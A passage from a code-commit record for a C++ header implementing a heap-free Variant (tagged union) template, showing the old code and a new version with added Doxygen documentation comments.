{\n\t\t\t\t\n\t\t\t\t\tdestroy_impl<0>();\n\t\t\t\t\t\n\t\t\t\t\tengaged=false;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\ttypename std::enable_if<\n\t\t\t\t!std::is_same<\n\t\t\t\t\ttypename std::decay<T>::type,\n\t\t\t\t\tVariant\n\t\t\t\t>::value\n\t\t\t>::type construct (T && item) noexcept(\n\t\t\t\tstd::is_nothrow_constructible<\n\t\t\t\t\ttypename std::decay<T>::type,\n\t\t\t\t\tT\n\t\t\t\t>::value\n\t\t\t) {\n\t\t\t\n\t\t\t\tconstexpr Word index=info::template FindType<T>::Value;\n\t\t\t\t\n\t\t\t\tstatic_assert(\n\t\t\t\t\tindex!=sizeof...(Args),\n\t\t\t\t\t\"Variant does not contain that type\"\n\t\t\t\t);\n\t\t\t\t\n\t\t\t\tnew (buffer) typename std::decay<T>::type (std::forward<T>(item));\n\t\t\t\t\n\t\t\t\tengaged=true;\n\t\t\t\tactive=index;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\ti>=sizeof...(Args)\n\t\t\t>::type copy_impl (const Variant &) const noexcept {\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\tstd::is_copy_constructible<typename info::template Types<i>::Type>::value\n\t\t\t>::type copy_impl_impl (const Variant & other) noexcept(\n\t\t\t\tstd::is_nothrow_copy_constructible<typename info::template Types<i>::Type>::value\n\t\t\t) {\n\t\t\t\n\t\t\t\ttypedef typename info::template Types<i>::Type type;\n\t\t\t\n\t\t\t\tnew (buffer) type (*other.get_ptr<type>());\n\t\t\t\t\n\t\t\t\tengaged=true;\n\t\t\t\tactive=i;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\t!std::is_copy_constructible<typename info::template Types<i>::Type>::value\n\t\t\t>::type copy_impl_impl (const Variant &) {\n\t\t\t\n\t\t\t\tBadVariantOperation::Raise();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\ti<sizeof...(Args)\n\t\t\t>::type copy_impl (const Variant & other) noexcept (\n\t\t\t\tinfo::NoThrowCopyable\n\t\t\t) {\n\t\t\t\n\t\t\t\tif (i==other.active) copy_impl_impl<i>(other);\n\t\t\t\telse copy_impl<i+1>(other);\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\ti>=sizeof...(Args)\n\t\t\t>::type move_impl (const Variant &) const noexcept {\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\tstd::is_move_constructible<typename info::template Types<i>::Type>::value\n\t\t\t>::type move_impl_impl (Variant && other) noexcept(\n\t\t\t\tstd::is_nothrow_move_constructible<typename info::template Types<i>::Type>::value\n\t\t\t) {\n\t\t\t\n\t\t\t\ttypedef typename info::template Types<i>::Type type;\n\t\t\t\t\n\t\t\t\tnew (buffer) type (std::move(*other.get_ptr<type>()));\n\t\t\t\t\n\t\t\t\tengaged=true;\n\t\t\t\tactive=i;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\t!std::is_move_constructible<typename info::template Types<i>::Type>::value\n\t\t\t>::type move_impl_impl (const Variant &) {\n\t\t\t\n\t\t\t\tBadVariantOperation::Raise();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\ti<sizeof...(Args)\n\t\t\t>::type move_impl (Variant && other) noexcept(\n\t\t\t\tinfo::NoThrowMovable\n\t\t\t) {\n\t\t\t\n\t\t\t\tif (i==other.active) move_impl_impl<i>(std::move(other));\n\t\t\t\telse move_impl<i+1>(std::move(other));\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tvoid construct (const Variant & other) noexcept(\n\t\t\t\tinfo::NoThrowCopyable\n\t\t\t) {\n\t\t\t\n\t\t\t\tif (other.engaged) copy_impl<0>(other);\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tvoid construct (Variant && other) noexcept(\n\t\t\t\tinfo::NoThrowMovable\n\t\t\t) {\n\t\t\t\n\t\t\t\tif (other.engaged) {\n\t\t\t\t\n\t\t\t\t\tmove_impl<0>(std::move(other));\n\t\t\t\t\t\n\t\t\t\t\tother.destroy();\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\tvoid assign_impl (T && item) noexcept(\n\t\t\t\tinfo::NoThrowMovable && info::NoThrowCopyable\n\t\t\t) {\n\t\t\t\n\t\t\t\tdestroy();\n\t\t\t\t\n\t\t\t\tconstruct(std::forward<T>(item));\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\ttypename std::enable_if<\n\t\t\t\tstd::is_same<\n\t\t\t\t\ttypename std::decay<T>::type,\n\t\t\t\t\tVariant\n\t\t\t\t>::value\n\t\t\t>::type assign (T && item) noexcept(\n\t\t\t\tinfo::NoThrowMovable && info::NoThrowCopyable\n\t\t\t) {\n\t\t\t\n\t\t\t\tif (reinterpret_cast<const void *>(&item)!=this) assign_impl(std::forward<T>(item));\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\ttypename std::enable_if<\n\t\t\t\t!std::is_same<\n\t\t\t\t\ttypename std::decay<T>::type,\n\t\t\t\t\tVariant\n\t\t\t\t>::value\n\t\t\t>::type assign (T && item) noexcept(\n\t\t\t\tinfo::NoThrowMovable && info::NoThrowCopyable\n\t\t\t) {\n\t\t\t\n\t\t\t\tassign_impl(std::forward<T>(item));\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\tpublic:\n\t\t\n\t\t\n\t\t\tVariant () noexcept : engaged(false) {\t}\n\t\t\t\n\t\t\t\n\t\t\tVariant (Variant && other) noexcept(\n\t\t\t\tinfo::NoThrowMovable\n\t\t\t) : engaged(false) {\n\t\t\t\n\t\t\t\tconstruct(std::move(other));\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tVariant (const Variant & other) noexcept(\n\t\t\t\tinfo::NoThrowCopyable\n\t\t\t) : engaged(false) {\n\t\t\t\n\t\t\t\tconstruct(other);\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\tVariant (T && item) noexcept(\n\t\t\t\tinfo::NoThrowMovable && info::NoThrowCopyable\n\t\t\t) : engaged(false) {\n\t\t\t\n\t\t\t\tconstruct(std::forward<T>(item));\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\tVariant & operator = (T && item) noexcept(\n\t\t\t\tinfo::NoThrowMovable && info::NoThrowCopyable\n\t\t\t) {\n\t\t\t\n\t\t\t\tassign(std::forward<T>(item));\n\t\t\t\t\n\t\t\t\treturn *this;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T, typename... EmplaceArgs>\n\t\t\ttypename std::enable_if<\n\t\t\t\tinfo::template FindType<T>::Value!=sizeof...(Args)\n\t\t\t>::type Construct (EmplaceArgs &&... args) noexcept(\n\t\t\t\tstd::is_nothrow_constructible<\n\t\t\t\t\tT,\n\t\t\t\t\tEmplaceArgs...\n\t\t\t\t>::value\n\t\t\t) {\n\t\t\t\n\t\t\t\tdestroy();\n\t\t\t\t\n\t\t\t\tnew (buffer) T (std::forward<EmplaceArgs>(args)...);\n\t\t\t\t\n\t\t\t\tengaged=true;\n\t\t\t\tactive=info::template FindType<T>::Value;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t~Variant () noexcept {\n\t\t\t\n\t\t\t\tdestroy();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tvoid Destroy () noexcept {\n\t\t\t\n\t\t\t\tdestroy();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tbool IsNull () const noexcept {\n\t\t\t\n\t\t\t\treturn !engaged;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\tbool Is () const noexcept {\n\t\t\t\n\t\t\t\treturn engaged && (active==info::template FindType<T>::Value);\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\tT & Get () noexcept {\n\t\t\t\n\t\t\t\treturn *get_ptr<T>();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\tconst T & Get () const noexcept {\n\t\t\t\n\t\t\t\treturn *get_ptr<T>();\n\t\t\t\n\t\t\t}\n\t\n\t\n\t};\n\n\n}\n<commit_msg>Variant Documentation<commit_after>\/**\n *\t\\file\n *\/\n \n \n#pragma once\n \n \n#include <rleahylib\/rleahylib.hpp>\n#include <traits.hpp>\n#include <cstddef>\n#include <new>\n#include <type_traits>\n#include <utility>\n \n \nnamespace MCPP {\n\n\n\t\/**\n\t *\t\\cond\n\t *\/\n\n\n\tnamespace VariantImpl {\n\t\n\t\n\t\ttemplate <typename...>\n\t\tclass MaxAlignOfImpl {\t};\n\t\t\n\t\t\n\t\ttemplate <>\n\t\tclass MaxAlignOfImpl<> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word Value=0;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <typename T, typename... Args>\n\t\tclass MaxAlignOfImpl<T,Args...> {\n\t\t\n\t\t\n\t\t\tprivate:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word next=MaxAlignOfImpl<Args...>::Value;\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word Value=(alignof(T)>next) ? alignof(T) : next;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <typename...>\n\t\tclass MaxSizeOfImpl {\t};\n\t\t\n\t\t\n\t\ttemplate <>\n\t\tclass MaxSizeOfImpl<> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word Value=0;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <typename T, typename... Args>\n\t\tclass MaxSizeOfImpl<T,Args...> {\n\t\t\n\t\t\n\t\t\tprivate:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word next=MaxSizeOfImpl<Args...>::Value;\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word Value=(sizeof(T)>next) ? sizeof(T) : next;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <Word, typename, typename...>\n\t\tclass FindTypeImpl {\t};\n\t\t\n\t\t\n\t\ttemplate <Word i, typename T>\n\t\tclass FindTypeImpl<i,T> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word Value=i;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <Word i, typename T, typename Curr, typename... Args>\n\t\tclass FindTypeImpl<i,T,Curr,Args...> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word Value=std::is_same<\n\t\t\t\t\ttypename std::decay<T>::type,\n\t\t\t\t\ttypename std::decay<Curr>::type\n\t\t\t\t>::value ? i : FindTypeImpl<i+1,T,Args...>::Value;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <typename...>\n\t\tclass NoThrowCopyableImpl {\t};\n\t\t\n\t\t\n\t\ttemplate <typename T, typename... Args>\n\t\tclass NoThrowCopyableImpl<T,Args...> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static bool Value=std::is_nothrow_copy_constructible<T>::value ? NoThrowCopyableImpl<Args...>::Value : false;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <>\n\t\tclass NoThrowCopyableImpl<> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static bool Value=true;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <typename...>\n\t\tclass NoThrowMovableImpl {\t};\n\t\t\n\t\t\n\t\ttemplate <typename T, typename... Args>\n\t\tclass NoThrowMovableImpl<T,Args...> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static bool Value=std::is_nothrow_move_constructible<T>::value ? NoThrowMovableImpl<Args...>::Value : false;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <>\n\t\tclass NoThrowMovableImpl<> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static bool Value=true;\n\t\t\n\t\t\n\t\t};\n\t\n\t\n\t\ttemplate <typename... Args>\n\t\tclass VariantInfo {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\ttemplate <Word i>\n\t\t\t\tclass Types {\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tpublic:\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\ttypedef typename std::decay<typename GetType<i,Args...>::Type>::type Type;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t};\n\t\t\t\t\n\t\t\t\t\n\t\t\t\ttemplate <typename T>\n\t\t\t\tclass FindType {\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tpublic:\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\tconstexpr static Word Value=FindTypeImpl<0,T,Args...>::Value;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t};\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tconstexpr static Word MaxAlignOf=MaxAlignOfImpl<Args...>::Value;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tconstexpr static Word MaxSizeOf=MaxSizeOfImpl<Args...>::Value;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tconstexpr static bool NoThrowCopyable=NoThrowCopyableImpl<Args...>::Value;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tconstexpr static bool NoThrowMovable=NoThrowMovableImpl<Args...>::Value;\n\t\t\n\t\t\n\t\t};\n\t\n\t\n\t}\n\t\n\t\n\t\/**\n\t *\t\\endcond\n\t *\/\n\t \n\t\n\t\/**\n\t *\tThrown when an illegal operation\n\t *\tis undertaken on a Variant.\n\t *\/\n\tclass BadVariantOperation : public std::exception {\n\t\n\t\n\t\tpublic:\n\t\t\n\t\t\n\t\t\t\/**\n\t\t\t *\t\\cond\n\t\t\t *\/\n\t\t\n\t\t\n\t\t\t__attribute__((noreturn))\n\t\t\tstatic void Raise () {\n\t\t\t\n\t\t\t\tthrow BadVariantOperation();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\/**\n\t\t\t *\t\\endcond\n\t\t\t *\/\n\t\n\t\n\t};\n\t\n\t\n\t\/**\n\t *\tAn object which may be imbued with\n\t *\tany one of a number of types.\n\t *\n\t *\tThis object does not use or allocate\n\t *\theap memory for internal storage\n\t *\tof stored objects, rather it contains\n\t *\tan internal buffer with the necessary\n\t *\tsize and alignment to contain any\n\t *\tof its possible types.\n\t *\/\n\ttemplate <typename... Args>\n\tclass Variant {\n\t\n\t\n\t\tprivate:\n\t\t\n\t\t\n\t\t\ttypedef VariantImpl::VariantInfo<Args...> info;\n\t\t\n\t\t\n\t\t\tbool engaged;\n\t\t\tWord active;\n\t\t\talignas(\n\t\t\t\tmax_align_t\n\t\t\t\t\/\/info::MaxAlignOf\n\t\t\t) Byte buffer [info::MaxSizeOf];\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\tT * get_ptr () noexcept {\n\t\t\t\n\t\t\t\treturn reinterpret_cast<T *>(\n\t\t\t\t\treinterpret_cast<void *>(\n\t\t\t\t\t\tbuffer\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\tconst T * get_ptr () const noexcept {\n\t\t\t\n\t\t\t\treturn reinterpret_cast<const T *>(\n\t\t\t\t\treinterpret_cast<const void *>(\n\t\t\t\t\t\tbuffer\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\ti>=sizeof...(Args)\n\t\t\t>::type destroy_impl () const noexcept {\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\ti<sizeof...(Args)\n\t\t\t>::type destroy_impl () noexcept {\n\t\t\t\n\t\t\t\ttypedef typename info::template Types<i>::Type type;\n\t\t\t\n\t\t\t\tif (active==i) get_ptr<type>()->~type();\n\t\t\t\telse destroy_impl<i+1>();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tvoid destroy () noexcept {\n\t\t\t\n\t\t\t\tif (engaged) {\n\t\t\t\t\n\t\t\t\t\tdestroy_impl<0>();\n\t\t\t\t\t\n\t\t\t\t\tengaged=false;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\ttypename std::enable_if<\n\t\t\t\t!std::is_same<\n\t\t\t\t\ttypename std::decay<T>::type,\n\t\t\t\t\tVariant\n\t\t\t\t>::value\n\t\t\t>::type construct (T && item) noexcept(\n\t\t\t\tstd::is_nothrow_constructible<\n\t\t\t\t\ttypename std::decay<T>::type,\n\t\t\t\t\tT\n\t\t\t\t>::value\n\t\t\t) {\n\t\t\t\n\t\t\t\tconstexpr Word index=info::template FindType<T>::Value;\n\t\t\t\t\n\t\t\t\tstatic_assert(\n\t\t\t\t\tindex!=sizeof...(Args),\n\t\t\t\t\t\"Variant does not contain that type\"\n\t\t\t\t);\n\t\t\t\t\n\t\t\t\tnew (buffer) typename std::decay<T>::type (std::forward<T>(item));\n\t\t\t\t\n\t\t\t\tengaged=true;\n\t\t\t\tactive=index;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\ti>=sizeof...(Args)\n\t\t\t>::type copy_impl (const Variant &) const noexcept {\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\tstd::is_copy_constructible<typename info::template Types<i>::Type>::value\n\t\t\t>::type copy_impl_impl (const Variant & other) noexcept(\n\t\t\t\tstd::is_nothrow_copy_constructible<typename info::template Types<i>::Type>::value\n\t\t\t) {\n\t\t\t\n\t\t\t\ttypedef typename info::template Types<i>::Type type;\n\t\t\t\n\t\t\t\tnew (buffer) type (*other.get_ptr<type>());\n\t\t\t\t\n\t\t\t\tengaged=true;\n\t\t\t\tactive=i;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\t!std::is_copy_constructible<typename info::template Types<i>::Type>::value\n\t\t\t>::type copy_impl_impl (const Variant &) {\n\t\t\t\n\t\t\t\tBadVariantOperation::Raise();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\ti<sizeof...(Args)\n\t\t\t>::type copy_impl (const Variant & other) noexcept (\n\t\t\t\tinfo::NoThrowCopyable\n\t\t\t) {\n\t\t\t\n\t\t\t\tif (i==other.active) copy_impl_impl<i>(other);\n\t\t\t\telse copy_impl<i+1>(other);\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\ti>=sizeof...(Args)\n\t\t\t>::type move_impl (const Variant &) const noexcept {\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\tstd::is_move_constructible<typename info::template Types<i>::Type>::value\n\t\t\t>::type move_impl_impl (Variant && other) noexcept(\n\t\t\t\tstd::is_nothrow_move_constructible<typename info::template Types<i>::Type>::value\n\t\t\t) {\n\t\t\t\n\t\t\t\ttypedef typename info::template Types<i>::Type type;\n\t\t\t\t\n\t\t\t\tnew (buffer) type (std::move(*other.get_ptr<type>()));\n\t\t\t\t\n\t\t\t\tengaged=true;\n\t\t\t\tactive=i;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\t!std::is_move_constructible<typename info::template Types<i>::Type>::value\n\t\t\t>::type move_impl_impl (const Variant &) {\n\t\t\t\n\t\t\t\tBadVariantOperation::Raise();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\ti<sizeof...(Args)\n\t\t\t>::type move_impl (Variant && other) noexcept(\n\t\t\t\tinfo::NoThrowMovable\n\t\t\t) {\n\t\t\t\n\t\t\t\tif (i==other.active) move_impl_impl<i>(std::move(other));\n\t\t\t\telse move_impl<i+1>(std::move(other));\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tvoid construct (const Variant & other) noexcept(\n\t\t\t\tinfo::NoThrowCopyable\n\t\t\t) {\n\t\t\t\n\t\t\t\tif (other.engaged) copy_impl<0>(other);\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tvoid construct (Variant && other) noexcept(\n\t\t\t\tinfo::NoThrowMovable\n\t\t\t) {\n\t\t\t\n\t\t\t\tif (other.engaged) {\n\t\t\t\t\n\t\t\t\t\tmove_impl<0>(std::move(other));\n\t\t\t\t\t\n\t\t\t\t\tother.destroy();\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\tvoid assign_impl (T && item) noexcept(\n\t\t\t\tinfo::NoThrowMovable && info::NoThrowCopyable\n\t\t\t) {\n\t\t\t\n\t\t\t\tdestroy();\n\t\t\t\t\n\t\t\t\tconstruct(std::forward<T>(item));\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\ttypename std::enable_if<\n\t\t\t\tstd::is_same<\n\t\t\t\t\ttypename std::decay<T>::type,\n\t\t\t\t\tVariant\n\t\t\t\t>::value\n\t\t\t>::type assign (T && item) noexcept(\n\t\t\t\tinfo::NoThrowMovable && info::NoThrowCopyable\n\t\t\t) {\n\t\t\t\n\t\t\t\tif (reinterpret_cast<const void *>(&item)!=this) assign_impl(std::forward<T>(item));\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\ttypename std::enable_if<\n\t\t\t\t!std::is_same<\n\t\t\t\t\ttypename std::decay<T>::type,\n\t\t\t\t\tVariant\n\t\t\t\t>::value\n\t\t\t>::type assign (T && item) noexcept(\n\t\t\t\tinfo::NoThrowMovable && info::NoThrowCopyable\n\t\t\t) {\n\t\t\t\n\t\t\t\tassign_impl(std::forward<T>(item));\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\tpublic:\n\t\t\n\t\t\n\t\t\t\/**\n\t\t\t *\tCreates an empty Variant.\n\t\t\t *\/\n\t\t\tVariant () noexcept : engaged(false) {\t}\n\t\t\t\n\t\t\t\n\t\t\t\/**\n\t\t\t *\tCreates a variant by moving another\n\t\t\t *\tVariant.\n\t\t\t *\n\t\t\t *\t\\except BadVariantOperation\n\t\t\t *\t\tThrown if \\em other is currently\n\t\t\t *\t\tof a type which cannot be moved.\n\t\t\t *\n\t\t\t *\t\\param [in] other\n\t\t\t *\t\tThe Variant to move.\n\t\t\t *\/\n\t\t\tVariant (Variant && other) noexcept(\n\t\t\t\tinfo::NoThrowMovable\n\t\t\t) : engaged(false) {\n\t\t\t\n\t\t\t\tconstruct(std::move(other));\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\/**\n\t\t\t *\tCreates a variant by copying another\n\t\t\t *\tVariant.\n\t\t\t *\n\t\t\t *\t\\except BadVariantOperation\n\t\t\t *\t\tThrown if \\em other is currently\n\t\t\t *\t\tof a type which cannot be copied.\n\t\t\t *\n\t\t\t *\t\\param [in] other\n\t\t\t *\t\tThe Variant to copy.\n\t\t\t *\/\n\t\t\tVariant (const Variant & other) noexcept(\n\t\t\t\tinfo::NoThrowCopyable\n\t\t\t) : engaged(false) {\n\t\t\t\n\t\t\t\tconstruct(other);\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\/**\n\t\t\t *\tCreates a variant by imbuing it with a\n\t\t\t *\tcertain object of a type which it may\n\t\t\t *\tcontain.\n\t\t\t *\n\t\t\t *\t\\param [in] item\n\t\t\t *\t\tThe object to create this Variant from.\n\t\t\t *\/\n\t\t\ttemplate <typename T>\n\t\t\tVariant (T && item) noexcept(\n\t\t\t\tinfo::NoThrowMovable && info::NoThrowCopyable\n\t\t\t) : engaged(false) {\n\t\t\t\n\t\t\t\tconstruct(std::forward<T>(item));\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\/**\n\t\t\t *\tAssigns an item or another Variant to\n\t\t\t *\tthis object.\n\t\t\t *\n\t\t\t *\t\\except BadVariantOperation\n\t\t\t *\t\tThrown if \\em item is a Variant, and\n\t\t\t *\t\tthe object within that Variant cannot\n\t\t\t *\t\tbe copied or moved (as applicable).\n\t\t\t *\n\t\t\t *\t\\param [in] item\n\t\t\t *\t\tThe item to assign to this Variant.\n\t\t\t *\n\t\t\t *\t\\return\n\t\t\t *\t\tA reference to this Variant.\n\t\t\t *\/\n\t\t\ttemplate <typename T>\n\t\t\tVariant & operator = (T && item) noexcept(\n\t\t\t\tinfo::NoThrowMovable && info::NoThrowCopyable\n\t\t\t) {\n\t\t\t\n\t\t\t\tassign(std::forward<T>(item));\n\t\t\t\t\n\t\t\t\treturn *this;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T, typename... EmplaceArgs>\n\t\t\ttypename std::enable_if<\n\t\t\t\tinfo::template FindType<T>::Value!=sizeof...(Args)\n\t\t\t>::type Construct (EmplaceArgs &&... args) noexcept(\n\t\t\t\tstd::is_nothrow_constructible<\n\t\t\t\t\tT,\n\t\t\t\t\tEmplaceArgs...\n\t\t\t\t>::value\n\t\t\t) {\n\t\t\t\n\t\t\t\tdestroy();\n\t\t\t\t\n\t\t\t\tnew (buffer) T (std::forward<EmplaceArgs>(args)...);\n\t\t\t\t\n\t\t\t\tengaged=true;\n\t\t\t\tactive=info::template FindType<T>::Value;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\/**\n\t\t\t *\tDestroys this Variant and any object\n\t\t\t *\tcontained within.\n\t\t\t *\/\n\t\t\t~Variant () noexcept {\n\t\t\t\n\t\t\t\tdestroy();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\/**\n\t\t\t *\tDestroys the object within this Variant.\n\t\t\t *\/\n\t\t\tvoid Destroy () noexcept {\n\t\t\t\n\t\t\t\tdestroy();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\/**\n\t\t\t *\tDetermines whether or not this Variant\n\t\t\t *\tcurrently contains an object.\n\t\t\t *\n\t\t\t *\t\\return\n\t\t\t *\t\t\\em true if this Variant does not\n\t\t\t *\t\tcontain an object, \\em false otherwise.\n\t\t\t *\/\n\t\t\tbool IsNull () const noexcept {\n\t\t\t\n\t\t\t\treturn !engaged;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\/**\n\t\t\t *\tDetermines whether this Variant currently\n\t\t\t *\tcontains an object of type \\em T.\n\t\t\t *\n\t\t\t *\t\\tparam T\n\t\t\t *\t\tThe type-in-question.\n\t\t\t *\n\t\t\t *\t\\return\n\t\t\t *\t\t\\em true if this Variant contains an\n\t\t\t *\t\tobject of type \\em T, \\em false\n\t\t\t *\t\totherwise.\n\t\t\t *\/\n\t\t\ttemplate <typename T>\n\t\t\tbool Is () const noexcept {\n\t\t\t\n\t\t\t\treturn engaged && (active==info::template FindType<T>::Value);\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\/**\n\t\t\t *\tReturns the zero-relative index of the\n\t\t\t *\ttype this Variant currently contains.\n\t\t\t *\n\t\t\t *\tIf this Variant is empty, the behaviour\n\t\t\t *\tof this function is undefined.\n\t\t\t *\n\t\t\t *\t\\return\n\t\t\t *\t\tThe 